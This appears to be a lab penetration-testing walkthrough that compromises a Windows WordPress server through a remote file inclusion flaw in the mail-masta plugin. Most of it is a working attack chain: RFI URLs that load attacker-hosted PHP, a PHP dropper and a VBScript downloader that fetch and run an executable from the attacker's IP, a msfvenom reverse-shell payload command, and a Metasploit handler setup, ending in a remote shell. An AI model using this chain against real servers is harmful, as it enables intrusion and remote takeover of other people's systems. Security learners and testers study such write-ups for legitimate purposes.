Pwning winsvr wordpress

From this path disclosure we roughly know the directory to of the wordpress installation.

```
[+] http://wordpress.svr/wp-includes/rss-functions.php
 | Interesting Entry: C:\lamp\www\wordpress\wp-includes\rss-functions.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | Reference: https://www.owasp.org/index.php/Full_Path_Disclosure
```

https://www.exploit-db.com/exploits/40290
POC for linux but we need to modify it for windows.
Upon further investigation, we found that we could do RFI too.

```
Typical proof-of-concept would be to load passwd file:


http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
```

Our kali machine will host all the malicious files to be downloaded from.

```
root@kali:~/pwn/winsvr# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
```

This php source code that tells the victim machine to download the vbs file.
To execute this malicious code we simply need to enter this url on our browser:
http://wordpress.svr/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=http://192.168.218.131/backdoor.txt

```
<?php

$backdoorSvr = "http://192.168.218.131/download.vbs";
$fileName = fopen("./download.vbs", 'w');

fwrite($fileName, file_get_contents($backdoorSvr));
fclose($fileName);

?>
```

This log tells that our malicious vbs file has been downloaded off our kali machine.

```
192.168.218.128 - - [30/Sep/2019 08:45:20] "GET /download.vbs HTTP/1.0" 200 -
```

The source code of this vbs tell the victim machine to get reverse shell from our kali machine and

execute it.

```
'Define object
Set objWinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")

'Call Download link with a file
URL = "http://192.168.218.131/reverseShell.exe"
objWinHttp.open "GET", URL, False
objWinHttp.send ""

'Save binary data to disk
SaveBinaryData "c:\temp\reverseShell.exe", objWinHttp.responseBody

'Execute reverse shell
set WshShell = WScript.CreateObject("WScript.Shell")
Dim exeName
Dim statusCode

exeName = "c:\temp\reverseShell.exe"
statusCode = WshShell.Run(exeName, 1, true)

Function SaveBinaryData(FileName, Data)
        Const adTypeText = 1
        Const adSaveCreateOverWrite = 2

        'Create Stream object
        Dim BinaryStream
        Set BinaryStream = CreateObject("ADODB.Stream")

        'Specify stream type - we wamt To save Data/String data.
        BinaryStream.Type = adTypeText

        'Open the stream and write binary data to the object
        BinaryStream.Open
        BinaryStream.Write Data

        'Save binary data to disk
        BinaryStream.SaveToFile FileName, adSaveCreateOverWrite
End Function
```

Creating our meterpreter payload for windows.

```
root@kali:~/pwn/winsvr# msfvenom -p windows/meterpreter/reverse_tcp LHOST="192.168.218.131" LPORT=4444 -f exe > reverseShell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
root@kali:~/pwn/winsvr#
```

This php script tells victim machine to execute our malicious vbs script.

```
<?php

system("cscript download.vbs");

?>
~
```

Setting the proper option for meterpreter

```
msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.218.131  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port
```

Running meterpreter in the background.

```
msf5 exploit(multi/handler) > exploit -j1
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.218.131:4444
msf5 exploit(multi/handler) > jobs

Jobs
====

  Id  Name                   Payload                         Payload opts
  --  ----                   -------                         ------------
  1   Exploit: multi/handler  windows/meterpreter/reverse_tcp  tcp://192.168.218.131:4444

msf5 exploit(multi/handler) >
```

To execute the malicious vbscript, we entere this on our browser:
http://wordpress.svr/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?

pl=http://192.168.218.131/execute.txt

Reverse shell popped!